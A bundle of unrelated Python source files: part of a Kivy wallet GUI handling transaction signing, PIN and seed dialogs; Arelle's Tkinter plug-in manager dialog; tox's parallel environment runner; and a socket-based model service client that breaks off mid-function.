pos = (win.center[0], win.center[1] - (info_bubble.height/2))
info_bubble.show(pos, duration, width, modal=modal, exit=exit)
def tx_dialog(self, tx):
from uix.dialogs.tx_dialog import TxDialog
d = TxDialog(self, tx)
d.open()
def sign_tx(self, *args):
threading.Thread(target=self._sign_tx, args=args).start()
def _sign_tx(self, tx, password, on_success, on_failure):
try:
self.wallet.sign_transaction(tx, password)
except InvalidPassword:
Clock.schedule_once(lambda dt: on_failure(_("Invalid PIN")))
return
Clock.schedule_once(lambda dt: on_success(tx))
def _broadcast_thread(self, tx, on_complete):
ok, txid = self.network.broadcast(tx)
Clock.schedule_once(lambda dt: on_complete(ok, txid))
def broadcast(self, tx, pr=None):
def on_complete(ok, txid):
self.show_info(txid)
if ok and pr:
pr.set_paid(tx.hash())
self.invoices.save()
self.update_tab('invoices')
if self.network and self.network.is_connected():
self.show_info(_('Sending'))
threading.Thread(target=self._broadcast_thread, args=(tx, on_complete)).start()
else:
self.show_info(_('Cannot broadcast transaction') + ':\n' + _('Not connected'))
def description_dialog(self, screen):
from uix.dialogs.label_dialog import LabelDialog
text = screen.message
def callback(text):
screen.message = text
d = LabelDialog(_('Enter description'), text, callback)
d.open()
@profiler
def amount_dialog(self, screen, show_max):
from uix.dialogs.amount_dialog import AmountDialog
amount = screen.amount
if amount:
amount, u = str(amount).split()
assert u == self.base_unit
def cb(amount):
screen.amount = amount
popup = AmountDialog(show_max, amount, cb)
popup.open()
def protected(self, msg, f, args):
if self.wallet.has_password():
self.password_dialog(msg, f, args)
else:
apply(f, args + (None,))
def delete_wallet(self):
from uix.dialogs.question import Question
basename = os.path.basename(self.wallet.storage.path)
d = Question(_('Delete wallet?') + '\n' + basename, self._delete_wallet)
d.open()
def _delete_wallet(self, b):
if b:
basename = os.path.basename(self.wallet.storage.path)
self.protected(_("Enter your PIN code to confirm deletion of %s") % basename, self.__delete_wallet, ())
def __delete_wallet(self, pw):
wallet_path = self.get_wallet_path()
dirname = os.path.dirname(wallet_path)
basename = os.path.basename(wallet_path)
if self.wallet.has_password():
try:
self.wallet.check_password(pw)
except:
self.show_error("Invalid PIN")
return
self.stop_wallet()
os.unlink(wallet_path)
self.show_error("Wallet removed:" + basename)
d = os.listdir(dirname)
name = 'default_wallet'
new_path = os.path.join(dirname, name)
self.load_wallet_by_name(new_path)
def show_seed(self, label):
self.protected(_("Enter your PIN code in order to decrypt your seed"), self._show_seed, (label,))
def _show_seed(self, label, password):
if self.wallet.has_password() and password is None:
return
keystore = self.wallet.keystore
try:
seed = keystore.get_seed(password)
passphrase = keystore.get_passphrase(password)
except:
self.show_error("Invalid PIN")
return
label.text = _('Seed') + ':\n' + seed
if passphrase:
label.text += '\n\n' + _('Passphrase') + ': ' + passphrase
def change_password(self, cb):
if self.wallet.has_password():
self.protected(_("Changing PIN code.") + '\n' + _("Enter your current PIN:"), self._change_password, (cb,))
else:
self._change_password(cb, None)
def _change_password(self, cb, old_password):
if self.wallet.has_password():
if old_password is None:
return
try:
self.wallet.check_password(old_password)
except InvalidPassword:
self.show_error("Invalid PIN")
return
self.password_dialog(_('Enter new PIN'), self._change_password2, (cb, old_password,))
def _change_password2(self, cb, old_password, new_password):
self.password_dialog(_('Confirm new PIN'), self._change_password3, (cb, old_password, new_password))
def _change_password3(self, cb, old_password, new_password, confirmed_password):
if new_password == confirmed_password:
self.wallet.update_password(old_password, new_password)
cb()
else:
self.show_error("PIN numbers do not match")
def password_dialog(self, msg, f, args):
def callback(pw):
Clock.schedule_once(lambda x: apply(f, args + (pw,)), 0.1)
if self._password_dialog is None:
from uix.dialogs.password_dialog import PasswordDialog
self._password_dialog = PasswordDialog()
self._password_dialog.init(msg, callback)
self._password_dialog.open()
|
DialogPluginManager.py | '''
Created on March 1, 2012
@author: Mark V Systems Limited
(c) Copyright 2011 Mark V Systems Limited, All rights reserved.
based on pull request 4
'''
from tkinter import Toplevel, font, messagebox, VERTICAL, HORIZONTAL, N, S, E, W
from tkinter.constants import DISABLED, ACTIVE
try:
from tkinter.ttk import Treeview, Scrollbar, Frame, Label, Button
except ImportError:
from ttk import Treeview, Scrollbar, Frame, Label, Button
from arelle import PluginManager, DialogURL
from arelle.CntlrWinTooltip import ToolTip
import re, os, time
def dialogPluginManager(mainWin):
# check for updates in background
import threading
thread = threading.Thread(target=lambda cntlr=mainWin: backgroundCheckForUpdates(cntlr))
thread.daemon = True
thread.start()
def backgroundCheckForUpdates(cntlr):
cntlr.showStatus(_("Checking for updates to plug-ins")) # clear web loading status
modulesWithNewerFileDates = PluginManager.modulesWithNewerFileDates()
if modulesWithNewerFileDates:
cntlr.showStatus(_("Updates are available for these plug-ins: {0}")
.format(', '.join(modulesWithNewerFileDates)), clearAfter=5000)
else:
cntlr.showStatus(_("No updates found for plug-ins."), clearAfter=5000)
time.sleep(0.1) # Mac locks up without this, may be needed for empty ui queue?
cntlr.uiThreadQueue.put((DialogPluginManager, [cntlr, modulesWithNewerFileDates]))
class DialogPluginManager(Toplevel):
def __init__(self, mainWin, modulesWithNewerFileDates):
super(DialogPluginManager, self).__init__(mainWin.parent)
self.ENABLE = _("Enable")
self.DISABLE = _("Disable")
self.parent = mainWin.parent
self.cntlr = mainWin
# copy plugins for temporary display
self.pluginConfig = PluginManager.pluginConfig
self.pluginConfigChanged = False
self.uiClassMethodsChanged = False
self.modelClassesChanged = False
self.modulesWithNewerFileDates = modulesWithNewerFileDates
parentGeometry = re.match("(\d+)x(\d+)[+]?([-]?\d+)[+]?([-]?\d+)", self.parent.geometry())
dialogX = int(parentGeometry.group(3))
dialogY = int(parentGeometry.group(4))
self.title(_("Plug-in Manager"))
frame = Frame(self)
# left button frame
buttonFrame = Frame(frame, width=40)
buttonFrame.columnconfigure(0, weight=1)
addLabel = Label(buttonFrame, text=_("Find plug-in modules:"), wraplength=60, justify="center")
addLocalButton = Button(buttonFrame, text=_("Locally"), command=self.findLocally)
ToolTip(addLocalButton, text=_("File chooser allows selecting python module files to add (or reload) plug-ins, from the local file system."), wraplength=240)
addWebButton = Button(buttonFrame, text=_("On Web"), command=self.findOnWeb)
ToolTip(addWebButton, text=_("Dialog to enter URL full path to load (or reload) plug-ins, from the web or local file system."), wraplength=240)
addLabel.grid(row=0, column=0, pady=4)
addLocalButton.grid(row=1, column=0, pady=4)
addWebButton.grid(row=2, column=0, pady=4)
buttonFrame.grid(row=0, column=0, rowspan=2, sticky=(N, S, W), padx=3, pady=3)
# right tree frame (plugins already known to arelle)
modulesFrame = Frame(frame, width=700)
vScrollbar = Scrollbar(modulesFrame, orient=VERTICAL)
hScrollbar = Scrollbar(modulesFrame, orient=HORIZONTAL)
self.modulesView = Treeview(modulesFrame, xscrollcommand=hScrollbar.set, yscrollcommand=vScrollbar.set, height=7)
self.modulesView.grid(row=0, column=0, sticky=(N, S, E, W))
self.modulesView.bind('<<TreeviewSelect>>', self.moduleSelect)
hScrollbar["command"] = self.modulesView.xview
hScrollbar.grid(row=1, column=0, sticky=(E,W))
vScrollbar["command"] = self.modulesView.yview
vScrollbar.grid(row=0, column=1, sticky=(N,S))
modulesFrame.columnconfigure(0, weight=1)
modulesFrame.rowconfigure(0, weight=1)
modulesFrame.grid(row=0, column=1, columnspan=4, sticky=(N, S, E, W), padx=3, pady=3)
self.modulesView.focus_set()
self.modulesView.column("#0", width=120, anchor="w")
self.modulesView.heading("#0", text=_("Name"))
self.modulesView["columns"] = ("author", "ver", "status", "date", "update", "descr", "license")
self.modulesView.column("author", width=100, anchor="w", stretch=False)
self.modulesView.heading("author", text=_("Author"))
self.modulesView.column("ver", width=50, anchor="w", stretch=False)
self.modulesView.heading("ver", text=_("Version"))
self.modulesView.column("status", width=50, anchor="w", stretch=False)
self.modulesView.heading("status", text=_("Status"))
self.modulesView.column("date", width=70, anchor="w", stretch=False)
self.modulesView.heading("date", text=_("File Date"))
self.modulesView.column("update", width=50, anchor="w", stretch=False)
self.modulesView.heading("update", text=_("Update"))
self.modulesView.column("descr", width=200, anchor="w", stretch=False)
self.modulesView.heading("descr", text=_("Description"))
self.modulesView.column("license", width=70, anchor="w", stretch=False)
self.modulesView.heading("license", text=_("License"))
classesFrame = Frame(frame)
vScrollbar = Scrollbar(classesFrame, orient=VERTICAL)
hScrollbar = Scrollbar(classesFrame, orient=HORIZONTAL)
self.classesView = Treeview(classesFrame, xscrollcommand=hScrollbar.set, yscrollcommand=vScrollbar.set, height=5)
self.classesView.grid(row=0, column=0, sticky=(N, S, E, W))
hScrollbar["command"] = self.classesView.xview
hScrollbar.grid(row=1, column=0, sticky=(E,W))
vScrollbar["command"] = self.classesView.yview
vScrollbar.grid(row=0, column=1, sticky=(N,S))
classesFrame.columnconfigure(0, weight=1)
classesFrame.rowconfigure(0, weight=1)
classesFrame.grid(row=1, column=1, columnspan=4, sticky=(N, S, E, W), padx=3, pady=3)
self.classesView.focus_set()
self.classesView.column("#0", width=200, anchor="w")
self.classesView.heading("#0", text=_("Class"))
self.classesView["columns"] = ("modules",)
self.classesView.column("modules", width=500, anchor="w", stretch=False)
self.classesView.heading("modules", text=_("Modules"))
# bottom frame module info details
moduleInfoFrame = Frame(frame, width=700)
moduleInfoFrame.columnconfigure(1, weight=1)
self.moduleNameLabel = Label(moduleInfoFrame, wraplength=600, justify="left",
font=font.Font(family='Helvetica', size=12, weight='bold'))
self.moduleNameLabel.grid(row=0, column=0, columnspan=4, sticky=W)
self.moduleAuthorHdr = Label(moduleInfoFrame, text=_("author:"), state=DISABLED)
self.moduleAuthorHdr.grid(row=1, column=0, sticky=W)
self.moduleAuthorLabel = Label(moduleInfoFrame, wraplength=600, justify="left")
self.moduleAuthorLabel.grid(row=1, column=1, columnspan=3, sticky=W)
self.moduleDescrHdr = Label(moduleInfoFrame, text=_("description:"), state=DISABLED)
self.moduleDescrHdr.grid(row=2, column=0, sticky=W)
self.moduleDescrLabel = Label(moduleInfoFrame, wraplength=600, justify="left")
self.moduleDescrLabel.grid(row=2, column=1, columnspan=3, sticky=W)
self.moduleClassesHdr = Label(moduleInfoFrame, text=_("classes:"), state=DISABLED)
self.moduleClassesHdr.grid(row=3, column=0, sticky=W)
self.moduleClassesLabel = Label(moduleInfoFrame, wraplength=600, justify="left")
self.moduleClassesLabel.grid(row=3, column=1, columnspan=3, sticky=W)
ToolTip(self.moduleClassesLabel, text=_("List of classes that this plug-in handles."), wraplength=240)
self.moduleUrlHdr = Label(moduleInfoFrame, text=_("URL:"), state=DISABLED)
self.moduleUrlHdr.grid(row=4, column=0, sticky=W)
self.moduleUrlLabel = Label(moduleInfoFrame, wraplength=600, justify="left")
self.moduleUrlLabel.grid(row=4, column=1, columnspan=3, sticky=W)
ToolTip(self.moduleUrlLabel, text=_("URL of plug-in module (local file path or web loaded file)."), wraplength=240)
self.moduleDateHdr = Label(moduleInfoFrame, text=_("date:"), state=DISABLED)
self.moduleDateHdr.grid(row=5, column=0, sticky=W)
self.moduleDateLabel = Label(moduleInfoFrame, wraplength=600, justify="left")
self.moduleDateLabel.grid(row=5, column=1, columnspan=3, sticky=W)
ToolTip(self.moduleDateLabel, text=_("Date of currently loaded module file (with parenthetical node when an update is available)."), wraplength=240)
self.moduleLicenseHdr = Label(moduleInfoFrame, text=_("license:"), state=DISABLED)
self.moduleLicenseHdr.grid(row=6, column=0, sticky=W)
self.moduleLicenseLabel = Label(moduleInfoFrame, wraplength=600, justify="left")
self.moduleLicenseLabel.grid(row=6, column=1, columnspan=3, sticky=W)
self.moduleEnableButton = Button(moduleInfoFrame, text=self.ENABLE, state=DISABLED, command=self.moduleEnable)
ToolTip(self.moduleEnableButton, text=_("Enable/disable plug in."), wraplength=240)
self.moduleEnableButton.grid(row=7, column=1, sticky=E)
self.moduleReloadButton = Button(moduleInfoFrame, text=_("Reload"), state=DISABLED, command=self.moduleReload)
ToolTip(self.moduleReloadButton, text=_("Reload/update plug in."), wraplength=240)
self.moduleReloadButton.grid(row=7, column=2, sticky=E)
self.moduleRemoveButton = Button(moduleInfoFrame, text=_("Remove"), state=DISABLED, command=self.moduleRemove)
ToolTip(self.moduleRemoveButton, text=_("Remove plug in from plug in table (does not erase the plug in's file)."), wraplength=240)
self.moduleRemoveButton.grid(row=7, column=3, sticky=E)
moduleInfoFrame.grid(row=2, column=0, columnspan=5, sticky=(N, S, E, W), padx=3, pady=3)
moduleInfoFrame.config(borderwidth=4, relief="groove")
okButton = Button(frame, text=_("Close"), command=self.ok)
ToolTip(okButton, text=_("Accept and changes (if any) and close dialog."), wraplength=240)
cancelButton = Button(frame, text=_("Cancel"), command=self.close)
ToolTip(cancelButton, text=_("Cancel changes (if any) and close dialog."), wraplength=240)
okButton.grid(row=3, column=3, sticky=(S,E), pady=3)
cancelButton.grid(row=3, column=4, sticky=(S,E), pady=3, padx=3)
self.loadTreeViews()
frame.grid(row=0, column=0, sticky=(N,S,E,W))
frame.columnconfigure(0, weight=1)
frame.columnconfigure(1, weight=1)
window = self.winfo_toplevel()
window.columnconfigure(0, weight=1)
self.geometry("+{0}+{1}".format(dialogX+50,dialogY+100))
self.bind("<Return>", self.ok)
self.bind("<Escape>", self.close)
self.protocol("WM_DELETE_WINDOW", self.close)
self.grab_set()
self.wait_window(self)
def loadTreeViews(self):
self.selectedModule = None
# clear previous treeview entries
for previousNode in self.modulesView.get_children(""):
self.modulesView.delete(previousNode)
for i, moduleItem in enumerate(sorted(self.pluginConfig.get("modules", {}).items())):
moduleInfo = moduleItem[1]
name = moduleInfo.get("name", moduleItem[0])
node = self.modulesView.insert("", "end", name, text=name)
self.modulesView.set(node, "author", moduleInfo.get("author"))
self.modulesView.set(node, "ver", moduleInfo.get("version"))
self.modulesView.set(node, "status", moduleInfo.get("status"))
self.modulesView.set(node, "date", moduleInfo.get("fileDate"))
if name in self.modulesWithNewerFileDates:
self.modulesView.set(node, "update", _("available"))
self.modulesView.set(node, "descr", moduleInfo.get("description"))
self.modulesView.set(node, "license", moduleInfo.get("license"))
# clear previous treeview entries
for previousNode in self.classesView.get_children(""):
self.classesView.delete(previousNode)
for i, classItem in enumerate(sorted(self.pluginConfig.get("classes", {}).items())):
className, moduleList = classItem
node = self.classesView.insert("", "end", className, text=className)
self.classesView.set(node, "modules", ', '.join(moduleList))
self.moduleSelect() # clear out prior selection
def ok(self, event=None):
if self.pluginConfigChanged:
PluginManager.pluginConfig = self.pluginConfig
PluginManager.pluginConfigChanged = True
PluginManager.reset() # force reloading of modules
if self.uiClassMethodsChanged or self.modelClassesChanged: # may require reloading UI
affectedItems = ""
if self.uiClassMethodsChanged:
affectedItems += _("menus of the user interface")
if self.uiClassMethodsChanged and self.modelClassesChanged:
affectedItems += _(" and ")
if self.modelClassesChanged:
affectedItems += _("model objects of the processor")
if messagebox.askyesno(_("User interface plug-in change"),
_("A change in plug-in class methods may have affected {0}. "
"Please restart Arelle to due to these changes. \n\n"
"Should Arelle restart itself now "
"(if there are any unsaved changes they would be lost!)?"
).format(affectedItems),
parent=self):
self.cntlr.uiThreadQueue.put((self.cntlr.quit, [None, True]))
self.close()
def close(self, event=None):
self.parent.focus_set()
self.destroy()
def moduleSelect(self, *args):
node = (self.modulesView.selection() or (None,))[0]
moduleInfo = self.pluginConfig.get("modules", {}).get(node)
if moduleInfo:
self.selectedModule = node
name = moduleInfo["name"]
self.moduleNameLabel.config(text=name)
self.moduleAuthorHdr.config(state=ACTIVE)
self.moduleAuthorLabel.config(text=moduleInfo["author"])
self.moduleDescrHdr.config(state=ACTIVE)
self.moduleDescrLabel.config(text=moduleInfo["description"])
self.moduleClassesHdr.config(state=ACTIVE)
self.moduleClassesLabel.config(text=', '.join(moduleInfo["classMethods"]))
self.moduleUrlHdr.config(state=ACTIVE)
self.moduleUrlLabel.config(text=moduleInfo["moduleURL"])
self.moduleDateHdr.config(state=ACTIVE)
self.moduleDateLabel.config(text=moduleInfo["fileDate"] + " " +
(_("(an update is available)") if name in self.modulesWithNewerFileDates else ""))
self.moduleLicenseHdr.config(state=ACTIVE)
self.moduleLicenseLabel.config(text=moduleInfo["license"])
self.moduleEnableButton.config(state=ACTIVE,
text={"enabled":self.DISABLE,
"disabled":self.ENABLE}[moduleInfo["status"]])
self.moduleReloadButton.config(state=ACTIVE)
self.moduleRemoveButton.config(state=ACTIVE)
else:
self.selectedModule = None
self.moduleNameLabel.config(text="")
self.moduleAuthorHdr.config(state=DISABLED)
self.moduleAuthorLabel.config(text="")
self.moduleDescrHdr.config(state=DISABLED)
self.moduleDescrLabel.config(text="")
self.moduleClassesHdr.config(state=DISABLED)
self.moduleClassesLabel.config(text="")
self.moduleUrlHdr.config(state=DISABLED)
self.moduleUrlLabel.config(text="")
self.moduleDateHdr.config(state=DISABLED)
self.moduleDateLabel.config(text="")
self.moduleLicenseHdr.config(state=DISABLED)
self.moduleLicenseLabel.config(text="")
self.moduleEnableButton.config(state=DISABLED, text=self.ENABLE)
self.moduleReloadButton.config(state=DISABLED)
self.moduleRemoveButton.config(state=DISABLED)
def findLocally(self):
initialdir = self.cntlr.pluginDir # default plugin directory
if not self.cntlr.isMac: # can't navigate within app easily, always start in default directory
initialdir = self.cntlr.config.setdefault("pluginOpenDir", initialdir)
filename = self.cntlr.uiFileDialog("open",
owner=self,
title=_("Choose plug-in module file"),
initialdir=initialdir,
filetypes=[(_("Python files"), "*.py")],
defaultextension=".py")
if filename:
# check if a package is selected (any file in a directory containing an __init__.py
if (os.path.isdir(os.path.dirname(filename)) and
os.path.isfile(os.path.join(os.path.dirname(filename), "__init__.py"))):
filename = os.path.dirname(filename) # refer to the package instead
self.cntlr.config["pluginOpenDir"] = os.path.dirname(filename)
moduleInfo = PluginManager.moduleModuleInfo(filename)
self.loadFoundModuleInfo(moduleInfo, filename)
def findOnWeb(self):
url = DialogURL.askURL(self)
if url: # url is the in-cache or local file
moduleInfo = PluginManager.moduleModuleInfo(url)
self.cntlr.showStatus("") # clear web loading status
self.loadFoundModuleInfo(moduleInfo, url)
def loadFoundModuleInfo(self, moduleInfo, url):
if moduleInfo and moduleInfo.get("name"):
self.addPluginConfigModuleInfo(moduleInfo)
self.loadTreeViews()
else:
messagebox.showwarning(_("Module is not itself a plug-in or in a directory with package __init__.py plug-in. "),
_("File does not itself contain a python program with an appropriate __pluginInfo__ declaration: \n\n{0}")
.format(url),
parent=self)
def removePluginConfigModuleInfo(self, name):
moduleInfo = self.pluginConfig["modules"].get(name)
if moduleInfo:
for classMethod in moduleInfo["classMethods"]:
classMethods = self.pluginConfig["classes"].get(classMethod)
if classMethods and name in classMethods:
classMethods.remove(name)
if not classMethods: # list has become unused
del self.pluginConfig["classes"][classMethod] # remove class
if classMethod.startswith("CntlrWinMain.Menu"):
self.uiClassMethodsChanged = True # may require reloading UI
elif classMethod == "ModelObjectFactory.ElementSubstitutionClasses":
self.modelClassesChanged = True # model object factor classes changed
del self.pluginConfig["modules"][name]
self.pluginConfigChanged = True
def addPluginConfigModuleInfo(self, moduleInfo):
name = moduleInfo["name"]
self.removePluginConfigModuleInfo(name) # remove any prior entry for this module
self.modulesWithNewerFileDates.discard(name) # no longer has an update available
self.pluginConfig["modules"][name] = moduleInfo
# add classes
for classMethod in moduleInfo["classMethods"]:
classMethods = self.pluginConfig["classes"].setdefault(classMethod, [])
if name not in classMethods:
classMethods.append(name)
if classMethod.startswith("CntlrWinMain.Menu"):
self.uiClassMethodsChanged = True # may require reloading UI
elif classMethod == "ModelObjectFactory.ElementSubstitutionClasses":
self.modelClassesChanged = True # model object factor classes changed
self.pluginConfigChanged = True
def moduleEnable(self):
if self.selectedModule in self.pluginConfig["modules"]:
moduleInfo = self.pluginConfig["modules"][self.selectedModule]
if self.moduleEnableButton['text'] == self.ENABLE:
moduleInfo["status"] = "enabled"
self.moduleEnableButton['text'] = self.DISABLE
elif self.moduleEnableButton['text'] == self.DISABLE:
moduleInfo["status"] = "disabled"
self.moduleEnableButton['text'] = self.ENABLE
self.pluginConfigChanged = True
self.loadTreeViews()
def moduleReload(self):
if self.selectedModule in self.pluginConfig["modules"]:
url = self.pluginConfig["modules"][self.selectedModule].get("moduleURL")
if url:
moduleInfo = PluginManager.moduleModuleInfo(url, reload=True)
if moduleInfo:
self.addPluginConfigModuleInfo(moduleInfo)
self.loadTreeViews()
self.cntlr.showStatus(_("{0} reloaded").format(moduleInfo.get("name")), clearAfter=5000)
else:
messagebox.showwarning(_("Module error"),
_("File or module cannot be reloaded: \n\n{0}")
.format(url),
parent=self)
def moduleRemove(self):
if self.selectedModule in self.pluginConfig["modules"]:
self.removePluginConfigModuleInfo(self.selectedModule)
self.pluginConfigChanged = True
self.loadTreeViews()
|
parallel.py | import os
import subprocess
import sys
from collections import OrderedDict
from threading import Event, Semaphore, Thread
from tox import reporter
from tox.config.parallel import ENV_VAR_KEY as PARALLEL_ENV_VAR_KEY
from tox.util.spinner import Spinner
def run_parallel(config, venv_dict):
"""here we'll just start parallel sub-processes"""
live_out = config.option.parallel_live
args = [sys.executable, "-m", "tox"] + config.args
try:
position = args.index("--")
except ValueError:
position = len(args)
try:
parallel_at = args[0:position].index("--parallel")
del args[parallel_at]
position -= 1
except ValueError:
pass
max_parallel = config.option.parallel
if max_parallel is None:
max_parallel = len(venv_dict)
semaphore = Semaphore(max_parallel)
finished = Event()
sink = None if live_out else subprocess.PIPE
show_progress = not live_out and reporter.verbosity() > reporter.Verbosity.QUIET
with Spinner(enabled=show_progress) as spinner:
def run_in_thread(tox_env, os_env):
res = None
env_name = tox_env.envconfig.envname
try:
os_env[str(PARALLEL_ENV_VAR_KEY)] = str(env_name)
args_sub = list(args)
if hasattr(tox_env, "package"):
args_sub.insert(position, str(tox_env.package))
args_sub.insert(position, "--installpkg")
process = subprocess.Popen(
args_sub,
env=os_env,
stdout=sink,
stderr=sink,
stdin=None,
universal_newlines=True,
)
res = process.wait()
finally:
semaphore.release()
finished.set()
tox_env.status = (
"skipped tests"
if config.option.notest
else ("parallel child exit code {}".format(res) if res else res)
)
done.add(env_name)
outcome = spinner.succeed
if config.option.notest:
outcome = spinner.skip
elif res:
outcome = spinner.fail
outcome(env_name)
if not live_out:
out, err = process.communicate()
if res or tox_env.envconfig.parallel_show_output:
outcome = (
"Failed {} under process {}, stdout:\n".format(env_name, process.pid)
if res
else ""
)
message = "{}{}{}".format(
outcome, out, "\nstderr:\n{}".format(err) if err else ""
).rstrip()
reporter.quiet(message)
threads = []
todo_keys = set(venv_dict.keys())
todo = OrderedDict((n, todo_keys & set(v.envconfig.depends)) for n, v in venv_dict.items())
done = set()
while todo:
for name, depends in list(todo.items()):
if depends - done:
# skip if has unfinished dependencies
continue
del todo[name]
venv = venv_dict[name]
semaphore.acquire(blocking=True)
spinner.add(name)
thread = Thread(target=run_in_thread, args=(venv, os.environ.copy()))
thread.start()
threads.append(thread)
if todo:
# wait until someone finishes and retry queuing jobs
finished.wait()
finished.clear()
for thread in threads:
thread.join()
|
modelservicecontext.py | #Data : 2018-10-15
#Author : Fengyuan Zhang (Franklin)
#Email : franklinzhang@foxmail.com
from enum import Enum
import socket
import time
import threading
import json
import os
import sys
import zipfile
from shutil import copy
class EModelContextStatus(Enum):
EMCS_INIT_BEGIN = 1,
EMCS_INIT = 2,
EMCS_INIT_END = 3,
EMCS_STATE_ENTER_BEGIN = 4,
EMCS_STATE_ENTER = 5,
EMCS_STATE_ENTER_END = 6,
EMCS_EVENT_BEGIN = 7,
EMCS_EVENT = 8,
EMCS_EVENT_END = 9,
EMCS_REQUEST_BEGIN = 10,
EMCS_REQUEST = 11,
EMCS_REQUEST_END = 12,
EMCS_RESPONSE_BEGIN = 13,
EMCS_RESPONSE = 14,
EMCS_RESPONSE_END = 15,
EMCS_POST_BEGIN = 16,
EMCS_POST = 17,
EMCS_POST_END = 18,
EMCS_STATE_LEAVE_BEGIN = 19,
EMCS_STATE_LEAVE = 20,
EMCS_STATE_LEAVE_END = 21,
EMCS_FINALIZE_BEGIN = 22,
EMCS_FINALIZE = 23,
EMCS_FINALIZE_END = 24,
EMCS_COMMON_BEGIN = 25,
EMCS_COMMON_REQUEST = 26,
EMCS_COMMON_END = 27,
EMCS_INIT_CTRLPARAM_BEGIN = 28,
EMCS_INIT_CTRLPARAM = 29,
EMCS_INIT_CTRLPARAM_END = 30,
EMCS_UNKOWN = 0
class ERequestResponseDataFlag(Enum):
ERDF_OK = 1,
ERDF_NOTREADY = 2,
ERDF_ERROR = -1,
ERDF_UNKNOWN = 0
class ERequestResponseDataMIME(Enum):
ERDM_XML_STREAM = 1,
ERDM_ZIP_STREAM = 2
ERDM_RAW_STREAM = 3,
ERDM_XML_FILE = 4,
ERDM_ZIP_FILE = 5,
ERDM_RAW_FILE = 6,
ERDM_UNKNOWN = 0
class ModelServiceContext:
def __init__(self):
self.mPort = 6000
self.mHost = '127.0.0.1'
self.mInstanceID = ''
self.mClientSocket = None
self.mMornitoringThread = None
self.mDebugScriptFile = ''
self.mStatus = EModelContextStatus.EMCS_UNKOWN
self.mData = ''
self.mMappingLibDir = ''
self.mInstanceDir = ''
self.mCurrentState = ''
self.mCurrentEvent = ''
self.mRequestDataFlag = ERequestResponseDataFlag.ERDF_UNKNOWN
self.mRequestDataBody = ''
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_UNKNOWN
self.mResponseDataFlag = ERequestResponseDataFlag.ERDF_UNKNOWN
self.mResponseDataBody = ''
self.mResponseDataMIME = ERequestResponseDataMIME.ERDM_UNKNOWN
self.mProcessParams = {}
self.mControlParams = {}
def _bindSocket(self):
self.mClientSocket = socket.socket()
try:
self.mClientSocket.connect((self.mHost, int(self.mPort)))
except ZeroDivisionError as ex:
return -1
return 1
def _sendMessage(self, message):
self.mClientSocket.sendall(message)
def _receiveMessage(self):
msg = str(self.mClientSocket.recv(10240))
# print '[MSG]:' + msg
return msg
def _wait4Status(self, status, timeout = 72000):
time_end = time.time() + timeout
while True:
time.sleep(0.01)
if self.mStatus == status or time.time() > time_end :
return 1
def _resetRequestDataInfo(self):
self.mRequestDataBody = ''
self.mRequestDataFlag = ERequestResponseDataFlag.ERDF_UNKNOWN
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_UNKNOWN
def _resetResponseDataInfo(self):
self.mRequestDataBody = ''
self.mRequestDataFlag = ERequestResponseDataFlag.ERDF_UNKNOWN
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_UNKNOWN
def _sendProcessParam(self):
self._sendMessage('{ProcessParams}' + self.mInstanceID + '&' + json.dumps(self.mProcessParams))
def onInitialize(self, host, port, instanceID):
self.mHost = host
self.mPort = port
self.mInstanceID = instanceID
self.mStatus = EModelContextStatus.EMCS_INIT_BEGIN
if self._bindSocket() == 1:
# start monitoring thread
self.mMornitoringThread = threading.Thread(target=ModelServiceContext.Monitoring_thread, name='Monitoring', args=(self,))
self.mStatus = EModelContextStatus.EMCS_INIT
if self.mMornitoringThread == None:
print('error in create thread!')
return exit()
self.mMornitoringThread.start()
self._sendMessage('{init}' + self.mInstanceID + '&' + self.mDebugScriptFile)
self._wait4Status(EModelContextStatus.EMCS_INIT_END)
startPos = self.mData.index('[')
endPos = self.mData.index(']')
self.mMappingLibDir = self.mData[startPos + 1 : endPos]
self.mData = self.mData[endPos + 1 : ]
startPos = self.mData.index('[')
endPos = self.mData.index(']')
self.mInstanceDir = self.mData[startPos + 1 : endPos]
else:
print('Init Failed! Cannot Connect Model Service Container')
return exit()
def onEnterState(self, stateId):
self.mStatus = EModelContextStatus.EMCS_STATE_ENTER_BEGIN
self.mCurrentState = stateId
self._sendMessage('{onEnterState}' + self.mInstanceID + '&' + stateId)
self.mStatus = EModelContextStatus.EMCS_STATE_ENTER
self._wait4Status(EModelContextStatus.EMCS_STATE_ENTER_END)
return 0
def onFireEvent(self, eventName):
self.mStatus = EModelContextStatus.EMCS_EVENT_BEGIN
self.mCurrentEvent = eventName
self._sendMessage('{onFireEvent}' + self.mInstanceID + "&" + self.mCurrentState + "&" + eventName)
self.mStatus = EModelContextStatus.EMCS_EVENT
self._wait4Status(EModelContextStatus.EMCS_EVENT_END)
def onRequestData(self):
self._resetRequestDataInfo()
if self.mCurrentState == '' or self.mCurrentEvent == '':
return -1
self._resetRequestDataInfo()
self.mStatus = EModelContextStatus.EMCS_REQUEST_BEGIN
self._sendMessage('{onRequestData}' + self.mInstanceID + '&' + self.mCurrentState + '&' + self.mCurrentEvent)
self._wait4Status(EModelContextStatus.EMCS_REQUEST_END)
posBegin = self.mData.index('[')
posEnd = self.mData.index(']')
dataFlag = self.mData[posBegin + 1 : posEnd - posBegin]
dataRemained = self.mData[posEnd + 1 : ]
if dataFlag == 'OK':
self.mRequestDataFlag = ERequestResponseDataFlag.ERDF_OK
else:
self.mRequestDataFlag = ERequestResponseDataFlag.ERDF_ERROR
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_UNKNOWN
return 0
posBegin = dataRemained.index('[')
posEnd = dataRemained.index(']')
dataMIME = dataRemained[posBegin + 1 : posEnd - posBegin]
if dataMIME == 'XML|STREAM':
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_XML_STREAM
elif dataMIME == 'ZIP|STREAM':
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_ZIP_STREAM
elif dataMIME == 'RAW|STREAM':
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_RAW_STREAM
elif dataMIME == 'XML|FILE':
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_XML_FILE
elif dataMIME == 'ZIP|FILE':
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_ZIP_FILE
elif dataMIME == 'RAW|FILE':
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_RAW_FILE
else:
self.mRequestDataMIME = ERequestResponseDataMIME.ERDM_UNKNOWN
